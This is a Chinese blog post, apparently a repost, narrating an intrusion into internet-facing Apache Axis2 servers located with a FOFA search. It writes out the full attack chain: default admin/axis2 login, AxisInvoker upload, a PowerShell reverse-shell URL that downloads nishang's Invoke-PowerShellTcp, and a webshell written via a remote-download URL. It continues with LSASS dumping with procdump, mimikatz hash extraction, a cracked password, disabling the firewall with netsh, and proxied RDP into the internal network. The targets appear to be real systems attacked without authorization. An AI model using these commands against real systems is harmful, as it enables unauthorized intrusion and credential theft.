发布于2022年11月5日3年前 0x01 目标country="US" && app="APACHE-Axis"从老洞捡些漏网之鱼,没准还会有意外收获目标出现还是熟悉的页面,熟悉的端口然后尝试默认口令登录,ok, 这下稳了先搜集一下信息不要上来就部署包,先看一下现有的服务,像这种弱口令的基本上99.9999%都已经被人搞过了再上传包就多此一举了,可以直接利用找了一圈没发现遗留的马儿找绝对路径自己上传C:/elocker/webapps/admin/WEB-INF/classes顺手一测,竟然可以出网,也不需要传shell了,直接掏出cs执行命令看结果失败了0x02 反弹shell难道是因为在url里执行,导致powershell命令没有执行成功吗?带着这个疑问 反弹shell尝试一下结果还是失败,可以确定,应该是有waf0x03 写入shellx.x.x.x:8080/services/config/download?url=http://x.x.x.x/dama.txt&path=C:\elocker\webapps\admin\axis2-web\shell.jsp查看一下进程通过对比发现某安全卫士0x04 绕过杀软通过测试发现,最基本的net user也执行不了摆在面前的路只有2条做免杀抓密码果断选择抓密码,简单有效。mimikatz不免杀不可直接用这里我利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码上传 procdump64.exe 并下载lsass.dmp再在本地解析文件procdump64.exe -accepteula -ma lsass.exe lsass.dmp # 导出为lsass.dump文件 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit # 把lsass.dmp放在mimikatz目录利用得到hash,破解密码0x05 登录服务器查看防火墙状态Netsh Advfirewall show allprofiles关闭防火墙NetSh Advfirewall set allprofiles state off内网IP,需搭建代理0x06 登录云桌面,发现意外惊喜发现机主运行了 telegram,嘿嘿0x07 总结1.通过fofa的语法country="US" && app="APACHE-Axis"进行搜索漏洞目标2.发现存在一个axis2的后台,该页面存在弱口令(admin/axis2)3.在后台处的upload sevice处上传AxisInvoker.aar包4.查询到网站的绝对路径为:C:/elocker/webapps/admin/WEB-INF/classeshttp://www.xxx.com/axis2/services/AxisInvoker/info5.尝试通过cs生成posershell后门程序,通过访问下面地址触发,但是访问失败(可能系统中存在杀软拦截了)http://www.xxx.com/axis2/services/AxisInvoker/exec?cmd=powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress yourip -port 6666http://www.xxx.com/axis2/services/AxisInvoker/exec?cmd=dir%20C:6.通过下载文件方式写入大马http://www.xxx.com/axis2/services/AxisInvoker/download?url=http://vps/data.txt&file=C:\elocker\webapps\admin\axis2-web\shell.jsp7.在大马中执行tasklist,发现存在360tary(360杀毒)以及zhudongfangyu.exe(安全卫士)8.在大马中上传冰蝎的一句户话木马,然后连接,执行命令net user出错。9.这里通过冰蝎上传 procdump64.exe,并执行命令导出lsass.dmp procdump64.exe -accepteula -ma lsass.exe lsass.dmp10.通过冰蝎下载 lsass.dmp到本地。11.通过mimkiatz导入lsass.dump并读取出hash值mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit12.通过md5破解网站对HSAH值进行NTML破解,并成功破解出密码:123QWEqwe13.通过大马执行以下命令Netsh Advfirewall show allprofiles //查看防火墙状态NetSh Advfirewall set allprofiles state off //关闭防火墙14.通过冰蝎自带的socke功能开启代理,本地设置Proxifier代理将MSTSC添加到代理中15.通过代理执行mstsc,远程桌面登录内网,桌面发现存在telegram原文链接: https://xz.aliyun.com/t/9856
创建帐户或登录后发表意见